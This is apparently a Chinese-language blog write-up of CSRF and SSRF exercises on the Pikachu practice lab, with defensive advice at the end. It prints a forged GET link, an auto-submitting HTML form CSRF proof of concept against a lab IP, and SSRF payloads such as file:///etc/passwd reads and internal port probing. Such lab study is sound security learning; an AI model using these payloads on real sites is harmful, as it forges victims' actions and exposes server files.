Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接,诱使用户点击,这个链接附带了用户的认证凭据Cookie、Session等,执行操作如转账。 因为带了cookie、session,服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录,修改个人信息,抓包,看到要修改的信息直接在url中

get请求并没有向后台发送token参数,说明后台是没有做防CSRF的措施

可以直接把url改一下,改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

用户点击链接

成功改成男孩

post型

和get型不同,要修改的参数出现在消息体里,并且没有cookie和token参数

用bp来生成poc ,右键,点击generate csrf Poc ,修改值,勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了 就从网上复制了一个,保存为html,并用浏览器打开

复制代码
<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

​

访问这个html,成功修改

token型未成功

(1)客户端把用户的用户名和密码发到服务端

(2)服务端进行校验,校验成功会生成token, 把token发送给客户端

(3)客户端自己保存token, 再次请求就要在Http协议的请求头中带着token去访问服务端,和在服务端保存的token信息进行比对校验。(所以token只能与受害者用户一致)

前端会存储这个token,放在session或cookie中,token一般用完一次就会失效

要修改的参数在url里面,带了个token,而且这个token还是明文,没有加密

bp安装CSRF Token Tracker插件

pikachu--csrf token & token防爆破? - WangWangDui - 博客园 (cnblogs.com)

设置

重放,第一次修改信息能成功,第二次就不行了,因为ccokie失效了,每次刷新页面cookie都要变

HTTPS

突然好奇,要是用了https,流量加密了,还会好挖洞吗,会对传输的数据进行加密

为什么如此安全的https协议却仍然可以被抓包呢?_网络请求会被抓取吗-CSDN博客

SSRF

curl

点击链接,观察url

把url改成了百度

file_get_content

像远程文件包含

总结

csrf是一种在用户已经登录的状态下,通过伪造请求来执行非法操作

挖掘:如果没有Referer字段和token,那么极有可能存在CSRF漏洞

防范:

(1)增加Referer,记录了该 HTTP 请求的来源地址

(2)添加 Token,每次用完就失效

(3)同源策略SOP,

(4)使用验证码,对于敏感操作输入验证码进行验证

SSRF,服务器端请求伪造

如果url中含有share、wap、url、link、src、source、target、display、sourceURl、imageURL

、domain . 参数若是其他服务器地址,就可能有ssrf漏洞

可以用于探测内网端口开放,http://内网ip:22,http 协议进行内网探测

任意文件读取,url=file:///etc/passwd,,file 协议结合目录遍历读取文件

gopher 协议打开端口。

dict 协议主要用于结合 curl 攻击

ssrf防范

限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求

限制不能访问内网的IP,以防止对内网进行攻击

相关推荐
jay神3 分钟前
基于 Python + Flask + Vue 的校内求职互助平台
前端·vue.js·后端·python·flask·毕业设计
2501_940041748 分钟前
从跑酷到实时联机:5个能直接用的Web游戏开发需求
前端
RANxy13 分钟前
零基础全栈 React 入门(三):状态管理与事件处理
前端
Csvn16 分钟前
前端调试技巧
前端
右耳朵猫AI16 分钟前
React技术周刊 2026年第20周
前端·react.js·前端框架
问心无愧051317 分钟前
ctf show web入门58
前端·笔记
zzx2006__24 分钟前
JavaScript最终考核
开发语言·前端·javascript
无风听海26 分钟前
ASP.NET Core CORS 深度解析:从 AddCors 到 CSRF 防御
后端·asp.net·csrf
用户44455436542629 分钟前
Android跑马灯控件
前端
光影少年38 分钟前
react全局状态、局部状态、服务端状态如何选型
前端·react.js·掘金·金石计划